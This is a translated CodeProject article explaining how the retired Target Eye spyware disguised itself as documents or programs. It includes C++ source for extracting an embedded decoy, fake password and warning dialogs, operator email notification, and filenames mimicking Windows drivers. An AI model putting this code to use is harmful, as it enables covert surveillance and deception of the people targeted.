65.9K
CodeProject 正在变化。 阅读更多。
Home

Target Eye 揭秘:第五部分 - 伪装故事

starIconstarIconstarIconstarIcon
emptyStarIcon
starIcon

4.93/5 (16投票s)

2013 年 10 月 4 日

CPOL

11分钟阅读

viewsIcon

24568

为何创建伪装故事是任何秘密监控产品必不可少的一部分,以及 Target Eye 是如何处理的

引言

本文是关于 Target Eye 监控系统系列文章的第五篇,该系统开发于 2000 年,直至 2010 年停产。 Target Eye 监控系统第一篇文章 介绍了 Target Eye 的自动更新机制,以及它如何能够检查更新、在有更新时下载、安装并运行它们,从而取代当前运行的旧版本,所有这些操作都无需最终用户干预。 第二篇文章 介绍了 Target Eye 的屏幕捕获机制,以及如何创建紧凑的 JPG 文件,同时兼顾合理的图像质量和较小的文件大小。第三篇文章介绍了 购物清单机制。第四篇文章介绍了 键盘捕获。本文将重点介绍用于让我们的秘密特工潜入的包装方式。换句话说,Target Eye 如何用于用我们称之为“伪装故事”的东西来包装它。 下一篇(第六篇)文章 将解释文件是如何以及何时被隐藏的,并揭示如何显示这些隐藏的文件。

Target Eye 的组成部分

如前几篇文章所述,有几个术语和构建块构成了 Target Eye 监控系统

  • Target Eye 秘密特工 - 在被监控的计算机上运行的产品的秘密部分
  • Target Eye 操作员 - 操作秘密特工的权威(例如:执法机构)
  • 任务 - 执行操作的请求。存在许多可能的操作(例如,如本文所述的屏幕捕获,或如本文所述的搜索和查找文件)。
  • Target Eye 编译器 - Target Eye 操作员用于定制秘密特工以执行特定任务的工具

为何我们需要伪装故事

当涉及在调查或其他操作中安装秘密监控系统时,有时需要让此安装看起来像其他东西。本文重点介绍了 Target Eye 监控系统过去使用的方法,主要是在 2005 年之前,将其作为“伪装故事”移植到目标计算机。

流程

在开始之前,这里是 Target Eye 编译器的截图,以及与本文相关的选项。

以下选项已标记

  1. 可以将伪装故事驱动的秘密特工的图标设置为任何选定的图标。
  2. 运行或打开任何给定文件,该文件将被嵌入到秘密特工的可执行文件中。
  3. 显示自定义对话框或消息框
  4. 设置秘密特工的文件扩展名。

正如本系列的第一篇文章所述,Target Eye 监控系统,当 Target Eye 启动时,存在一系列可能的场景和操作,这些操作区分了各种操作和运行方法。

秘密 vs. 可见

当使用伪装故事时,我们希望每次用户双击编译后的秘密特工时,它都能对最终用户可见。例如,如果警方使用编译器将一个足球演示文稿嵌入到秘密特工中,并将其发送给一名毒贩,让他相信他收到了一个足球演示文稿而不是监控软件,那么他们需要确保每次他双击收到的文件时,它看起来和感觉都像一个足球演示文稿。

另一方面,存在秘密行动,这在第一篇文章中已得到充分描述,它包括首先安装秘密特工,首次运行时,并在 Windows 启动后每次运行,当然,此外,在服务器上查找更新版本,如果有,则安装它们。

这会创建多个场景的树。其中一些涉及做某事但不显示任何内容(对最终用户而言),即安装或运行秘密特工,而另一些则涉及什么都不做而显示某些内容,即运行伪装故事(在本例中为足球演示文稿),即使没有什么可做的,而且实际上也没有必要运行 Target Eye(因为它已经运行并安装,但最终用户双击了演示文稿)。

伪装故事的组成部分

伪装故事在 Target Eye 编译器中定义。它允许选择以下一个或多个属性

  • 数据文件
  • 软件
  • 网站
  • 自定义对话框
  • 消息框

数据文件

当选择数据文件时,每次双击编译的秘密特工时,它都会使用定义的默认工具打开。如果是一个.docx 文件,它将通过运行 MS Word 打开,依此类推...

软件

当选择软件文件时,每次双击编译的秘密特工时,它都会被执行。

网站

当指定了网站时,该地址将由默认浏览器打开。

以下示例说明了这三个选项作为 Target Eye 源代码的一部分的实现方式

// TE_LoadFileFromResource
// Was used by Target Eye Monitoring System (all versions until 2007) to run or open a 
// "Cover Story" file, web site or software
BOOL TE_LoadFileFromResource(CString Name,int ResourceID)
{
	BOOL result;
	char path[260];
	CString ShortName;
	if(Name.Left(4).CompareNoCase("http")==0)	// is the cover story a web address?
	{
		return(ShellExecute(NULL,"open",Name,NULL,NULL,SW_SHOW)?TRUE:FALSE); // open it 
                                                           //with the default web browser
	}
	ShortName=TEGetFileName(Name);
	// Now we get the current system directory
	try
	{
		const int BUFFER_SIZE = 260; 
		result=GetSystemDirectory(path, BUFFER_SIZE);
	}
	catch (CException* pEx)
	{
		TCHAR sz[1024];
		pEx->GetErrorMessage(sz, 1024);
		ConPrintf(hCon,"ER %s\n",sz);	// adding error to log file
		pEx->Delete();
	}
retry:;
	if (result)
	{
		ShortName=(CString)path+(CString)"\\" +(CString)ShortName;	// ShortName now has 
                                                  //the full path of the file to be opened
		BinRes::ExtractBinResource( "BIN", ResourceID, ShortName.GetBuffer(0));	// We extract 
                             //the contents of the file from a binary resource into the file
		if(ShellExecute(NULL, "OPEN", ShortName, NULL, NULL, SW_SHOWNORMAL))	// We open 
                        //or run this file (open if it is a data file. Run if it is a program
		{
			// Success
			return(TRUE);
		}
		else
		{
			// Failure
			ConPrintf(hCon,"ER (ShellExecute) %s\n",ShortName);	// adding error to log file
			return(FALSE);
		}
	}	
	else
	{
		// In this special case we assume we don't have access to System directory 
        // so we try Program Files
		// That obviously won't work these days as Program Files requires 
        // the same elevated access rights as System directory...
		strcpy(path,LOCAL_FULLPATH("program files"));
		goto retry;
	}
}

自定义对话框或消息框

接下来是涉及向最终用户显示消息的场景。此类消息可以是标准消息框,使用 MessageBox() 或自定义对话框,例如这个

一封信,附有关于为何应打开此文档的令人信服的解释,已单独发送。

用户双击基于伪装故事的秘密特工后,自定义对话框将出现在他的屏幕上。下图是目标计算机的屏幕截图

下面摘自 Target Eye 源代码(2005 版)的片段显示了向最终用户显示/弹出消息/对话框的流程。

		// Check if the Compiled Secret Agent's settings 
		// require popping up a message
		if(strcmp(PinkaOptions.MsgBox,""))	// option is set
		{
			CPassword c;	// Special custom dialog box
			CString Line=PinkaOptions.MsgBox; // Message to be displayed
			int n;
			
			if((n=Line.Find("#",0))>0)	// Parse parameters used
			{
				CString Pwd=Line.Mid(n+1);	// Expected "password" the end user should enter
				c.m_LabelPwd=Line.Left(n);	// Label shown to the end user 
                                            // (like "Your Secret 8 Digits Key"...)
				c.m_Dummy="something";
				// Special case: this Secret Agent is supposed to be opened 
                // only by a predefined IP address
				if(strcmp(PinkaOptions.RequestIP,"")) c.m_OnlyUser=(CString)"To be opened 
                                             only by user: "+PinkaOptions.RequestIP;
				c.DoModal();				// Display the custom Dialog Box
				
				if(strcmp(PinkaOptions.RequestIP,""))	// Did we ask for 
                                                        // a specific IP address?
				{
					CString Request;
					Request=PinkaOptions.RequestIP;
					if (Request.Find("@#0#",0))			// we ask for an Email to be sent 
                                                        // upon opening
					{
						if(strcmp(PinkaOptions.RequestIP,PinkaOptions.Email))
						{
							// Send the email to the operator
							BOOL result=TE_SendEmail("",PinkaOptions.RequestIP,
                            PinkaOptions.Email,"A confidential document (Word) 
                            from HyperSec",PinkaCover.HiddenName,"");
							
							// Here is the actual "Cover Story" fake dialog box
							MessageBox(NULL,"This document can only be opened by user: 
                            "+(CString)PinkaOptions.RequestIP,"This is a security warning",
                            MB_ICONWARNING);
							// Set the Secret Agent name
							MySettings.ChangeAgentName(PinkaOptions.AgentName);
                            (((CString)(PinkaOptions.AgentName)).Left(9)+"YYY");
							// Used for setting a set of folders and places in the 
                            // target PC where files with 
							// data collected will be stored before they are 
                            // sent to the operator
							BuildOtherPlaces();
						}
					}
					else	// we asked for a specific IP address
					{
						if(strcmp(PinkaOptions.RequestIP,PinkaOptions.IP))	// Compare the 
                                                      // requested IP and the end user's IP
						{
							MessageBox(NULL,"This document can only be opened by user: 
                            "+(CString)PinkaOptions.RequestIP,"This is a security warning",
                            MB_ICONWARNING);
							MySettings.ChangeAgentName(PinkaOptions.AgentName);
                            (((CString)(PinkaOptions.AgentName)).Left(9)+"UUU");			
							BuildOtherPlaces();
						}
					}
				}
				else
				if(c.m_Pwd==Pwd)	// Did the end user hit the 
                                    // correct "password" given to him?
				{
					if(strcmp(PinkaOptions.FileToLoad,""))	// Are we instructed to 
                                                  // load / run a file or a program?
					{
						// load / run the file / program
						TE_LoadFileFromResource(PinkaOptions.FileToLoad,111);
					}
				}
				else
				{
					// ERROR LOG ==========================================
					PinkaLog.LogError("Open by object","Wrong password was keyed in",0);
					// ERROR LOG ==========================================
					
					// This message is for the end user, when he enters the wrong password.
					MessageBox(NULL,"Error: Invalid password",
                               "HyperSec Password Protection System",MB_OK);
					
					MySettings.ChangeAgentName(PinkaOptions.AgentName);
                          (((CString)(PinkaOptions.AgentName)).Left(9)+"ZZZ");
					BuildOtherPlaces();
				}
			}
			else
			{	
				// We display a custom dialog box but without asking for 
                // a password from the end user
				// For example, the message shown could be:
				
				c.m_LabelPwd=PinkaOptions.MsgBox;	   // Set the label shown
				// for example: "We are now opening a secured document"
				c.m_Dummy="";
				c.DoModal();						   // Displaying the custom Dialog Box
				
				if(strcmp(PinkaOptions.FileToLoad,"")) // Are we instructed to load / run 
                                                       // a file or a program?
				{
					// load / run the file / program
					TE_LoadFileFromResource(PinkaOptions.FileToLoad,111);
				}
			}
		}
		else
		{
			// No custom Dialog Box, just load or open a file / program as the 
            // Compiled Secret Agent is double clicked. 
			if(strcmp(PinkaOptions.FileToLoad,"")) // Are we instructed to load / run 
                                                   // a file or a program?
			{
				// load / run the file / program
				TE_LoadFileFromResource(PinkaOptions.FileToLoad,111);
			}
		}   

条件安装

Target Eye 监控系统允许设置所选目标的电子邮件地址或 IP 地址,确保万一被其他人收到,它将停止运行并自行卸载。

标准是预定义的 IP 地址与运行时检测到的 IP 地址进行比较,或者预定义的电子邮件地址与注册表中找到的默认电子邮件地址进行比较(提醒一下,那时还没有 Gmail,并且在大多数情况下,人们使用 Outlook Express,其默认电子邮件帐户与用户名和密码一起存储在注册表中。

如上面的源代码所示,有一个特殊的设置用于条件安装

PinkaOptions.RequestIP 

为简化起见,此属性可以包含 IP 地址(例如 80.0.0.1)或电子邮件地址(例如 someone@account.com)。

Target Eye 检查此字段是否为空,如果不为空,它会检查它是否包含有效数据,并确定该数据是电子邮件地址(在这种情况下,它假定条件是在具有该地址的 PC 上安装秘密特工)还是 IP 地址(在这种情况下,它假定条件是在具有该 IP 地址的 PC 上安装秘密特工)。

从秘密特工中提取伪装故事

这是将伪装故事(以资源形式)提取出来以进行执行或打开的部分。需要将实际数据嵌入到秘密特工中的文件类型(或伪装故事)是

  • 数据文件
  • 程序

消息或网站仅以其地址或文本命名。

因此,当需要打开数据文件或运行程序时,每次双击伪装故事文件时,要打开的文件都会被加密并嵌入到秘密特工中。在运行时,这部分会被提取并转换为一个独立的文件,该文件会凭空出现在最终用户的 PC 上。

下面的图表说明了从双击秘密特工的伪装故事文件开始的流程

资源提取

TE_CoverStory 类除了其他内容之外,还负责将数据从资源提取到文件。以下是源代码中的实现方式

//
void TE_CoverStory::ExtractBinResource(LPCTSTR ResName, int nResourceId, LPCTSTR strOutputName)
{
	HGLOBAL hResourceLoaded; // handle to loaded resource
	HRSRC hRes; // handle/ptr. to res. info. 
	char *lpResLock; // pointer to resource data 
	DWORD dwSizeRes;
	// find location of the resource and get handle to it
	hRes = FindResource( NULL, MAKEINTRESOURCE(nResourceId), ResName);
	// loads the specified resource into global memory. 
	hResourceLoaded = LoadResource( NULL, hRes ); 
	// get a pointer to the loaded resource!
	lpResLock = (char*)LockResource( hResourceLoaded ); 
	// determine the size of the resource, so we know how much to write out to file! 
	dwSizeRes = SizeofResource( NULL, hRes );
  
	HANDLE file = CreateFile(strOutputName,GENERIC_WRITE,0,NULL,
                  CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
	if(file!=INVALID_HANDLE_VALUE)
	{
		DWORD bytesWritten;
		WriteFile(file,(LPCVOID)lpResLock,dwSizeRes,&bytesWritten,NULL);
		CloseHandle(file);
	}  
} 
//

结果是,将在目标计算机上创建 strOutputName,因此下一步我们需要打开它或运行它。我在前面的块中已经解释了文件是如何打开和执行的。

在目标计算机上运行程序

当我们提取一段软件并准备运行它时,我们必须确保它是一个独立的应用程序,例如不需要任何外部/附加文件或 DLL。这如今是可以做到的,当时更是如此。

ShellExecute() 处理两者。

HINSTANCE ShellExecute(
<pre>  _In_opt_  HWND hwnd,
  _In_opt_  LPCTSTR lpOperation,
  _In_      LPCTSTR lpFile,
  _In_opt_  LPCTSTR lpParameters,
  _In_opt_  LPCTSTR lpDirectory,
  _In_      INT nShowCmd 
; 

当然,在 2003-2005 年理想的做法在今天并不理想(而且可能无效),因为有更好的方法可以做到这一点(例如调用 CreateProcess)。

随机文件名是如何生成的

当 Target Eye 运行时,经常会在目标计算机上创建文件,这就是为什么 Target Eye 需要一个即时创建随机文件名的机制。此机制用于数据文件和程序文件。

文件扩展名对于确定用户双击文件时会发生什么很重要(file.exe 会被假定为软件,而 file.docx 会调用 MS Word 打开它)。然而,即时创建且对最终用户不可见的文件可以具有任何扩展名或没有扩展名。在大多数情况下,无论其扩展名如何,它们仍然可以被执行或打开。

直到 2005 年,所有文件名都是固定的,但从 2006/2007 版本开始,我为该目的开发了 CreateRandomSystemFile()

参数

  • Ending - 请求的文件扩展名(例如“*.doc”)
  • ID - 用于稍后引用此文件的唯一 ID(维护这些文件并知道何时删除它们很重要
  • SaveLast - 在 Target Eye 的这些版本中未使用
  • Renew - 如果 ID 存在,将现有文件名的名称更改为另一个。例如,如果我们使用某个随机文件来存储程序xxxx.exe,那么我们可以偶尔将其名称更改为另一个。
CString CreateRandomSystemFile(LPTSTR Ending,LPTSTR ID,BOOL SaveLast,BOOL Renew)
{
	CString TargetFile="";
	CString TempFile="";
	unsigned int result;
	char path[320];
	unsigned short size=320;
	char OldData[256];
	ConPrintf("CreateRandomSystemFile(%s,%s ...\n",Ending,ID);
	// Check if there is already a filename saved
	RegistryDatabase rd;
	if(rd.GetData(ID,OldData))
	{
		if(Renew)
		{
			ConPrintf("Renew Option - Try to delete old file assigned to key '%s'\n",ID);
			if(DeleteFile(OldData))
			{
				ConPrintf("Deleted '%s'\n",OldData);
			}
			else
			{
				ConPrintf("Couldn't delete '%s'\n",OldData);
			}
		}
		else
		{
			ConPrintf("File already set to '%s'\n",OldData);
			return OldData;
		}
	}
	SHGetSpecialFolderPath(NULL,path,CSIDL_DESKTOPDIRECTORY,FALSE);
	int i,j;
	TargetFile=(char *)path;
	TargetFile+="\\";
	TargetFile+=TE_FOLDER;
	TargetFile+="\\";
	CreateDirectory(TargetFile,NULL);
	HideFile(TargetFile);
	Sleep(10);
 
	if(strcmp(ID,"IN")==NULL)
	{
		TargetFile+=GetFakeExeNameFromRandomDrivers();
	}
	else
	{
		srand((ULONG)(GetTickCount()));
		
		j=CREATE_RANDOM(6,6);
		for(i=0;i<j;i++)
		{
			TargetFile+=(unsigned char)CREATE_RANDOM('z'-'a','a');
		}
 
	#define TE_MARK (CString)"["+ID+(CString)"]"
	#ifdef TE_MARKFILES
		TargetFile+=TE_MARK;
	#endif
		if(strcmp(Ending,"")==0)
		{
			TargetFile+=".";
			for(i=0;i<3;i++)
			{
				TargetFile+=(unsigned char)CREATE_RANDOM('z'-'a','a');
			}
		}
		else
		if(Ending=="..") 
		{
			CreateDirectory(TargetFile,NULL);
			HideFile(TargetFile);
		}
		else
			TargetFile+=Ending;
	}
	rd.SaveData(ID,TargetFile.GetBuffer(0));
	ConPrintf("Added '%s' to key '%s'\n",ID,TargetFile);
	return(TargetFile);
}

使用此机制创建的所有文件都保存在一个内部数据库中,该数据库在安装的整个生命周期中都得到维护。

此函数使用另一个函数

GetFakeExeNameFromRandomDrivers() 

此函数自 2008 年以来添加,并用于拾取现有 Windows 驱动程序的名称并创建具有相似名称的文件。

它使用了我在关于购物清单机制的上一篇文章中描述的文件搜索机制。

CString GetFakeExeNameFromRandomDrivers()
{
	char path[256],sss[256];
	BOOL result;
	int i;
	CString ResultString="";
	// get location of drivers i.e. windows/system32/drivers
	try
	{
		const int BUFFER_SIZE = 260; 
		result=GetSystemDirectory(path, BUFFER_SIZE);
	}
	catch (CException* pEx)
	{
		TCHAR sz[1024];
		pEx->GetErrorMessage(sz, 1024);
		pEx->Delete();
	}
	strcat(path,"\\drivers");
	// make a list of all "sys" files
	FindFileOptions_t opts;
    opts.excludeDir = "*emulation*";
    opts.excludeFile = "";
    opts.recursive = true;
    opts.returnFolders = false;
    opts.terminateValue = NULL;
	opts.days=-1;
    FindFile find(opts);
	find.search(TRUE,"*.sys",path);
    int nfiles = (int) find.filelist.size();
    __int64 size = find.listsize;
	for(i=0;i<(int) find.filelist.size();i++)
	{
		string fullname = FindFile::combinePath(find.filelist[i].path, 
                          find.filelist[i].fileinfo.cFileName);
		sprintf(sss,"%s",fullname.c_str());
		ConPrintf("RunQuery result %d %s\n",i,sss);
	}
	
	// choose one of them randomly
	srand((ULONG)(GetTickCount()));
	i=CREATE_RANDOM(find.filelist.size(),0);
	// change it to .exe
	ResultString=find.filelist[i].fileinfo.cFileName;
	ResultString=ResultString.Left(ResultString.GetLength()-3)+"exe";
	// return that name
	return(ResultString);
}

使用随机数

重要的是要知道“随机数”实际上是伪随机数。

随机数生成器使用一个名为“种子值”的数值进行初始化。有些人不知道,如果你用相同的数字初始化随机数生成器,你可以每次都得到相同的数字序列。

要创建接近随机的随机数序列,请使用

srand((ULONG)(GetTickCount()));  

它将根据自 Windows 启动以来的滴答数初始化生成器。

Target Eye 伪装故事机制的局限性

与今天不同的是,今天几乎不可能发送、共享或下载可执行文件,而当时,可以将程序文件附加到电子邮件中或提供下载链接(这仍然是可能的,但会对最终用户带来巨大的警告)。

尽管存在漏洞,Target Eye 并没有使用任何漏洞。Target Eye 没有将秘密特工隐藏在文件(如图像文件(*.jpg)或文档(*.doc 或 *.pdf))中的机制。所有秘密特工,包括带有伪装故事的秘密特工,实际上都是可执行文件。

由于在 Windows Vista 引入之前,大多数 PC 都有隐藏文件扩展名的选项作为默认设置,因此可以创建一个具有看起来像数据文件(如 Word 文档)的图标的可执行文件,这足以完成任务。Target Eye 编译器有选择带有伪装故事文件扩展名的秘密特工的选项,但那用于命名“可执行文件扩展名”,如.com.bat.pif。命名为.jpg.tif.pdf 会导致秘密特工无法运行,而是被其默认程序作为数据文件打开。

这是 Target Eye 秘密特工的可执行文件,带有“MS Word”样式的图标的样子

漏洞是后门、缺陷、故障或文件格式(如.pdf.jpg)中的漏洞,这使得将可执行文件移植到其中成为可能。现代监控和监视软件产品使用此类漏洞来使其能够在当前版本的 Windows 上运行,这就是为什么今天使用本系列文章中描述的任何旧版本的 Target Eye 都不切实际的原因。

历史

  • 2013 年 10 月 4 日:初始版本

Michael Haephrati CodeProject MVP 2013

©2000-2010 Target Eye LTD (UK)

本文包含的所有材料均受国际版权法保护,未经 Target Eye LTD (UK) 事先书面许可,不得使用、复制、分发、传播、展示、出版或广播。您不得更改或删除副本中的任何商标、版权或其他声明。

历史

  • 2015 年 6 月 12 日:初始版本
© . All rights reserved.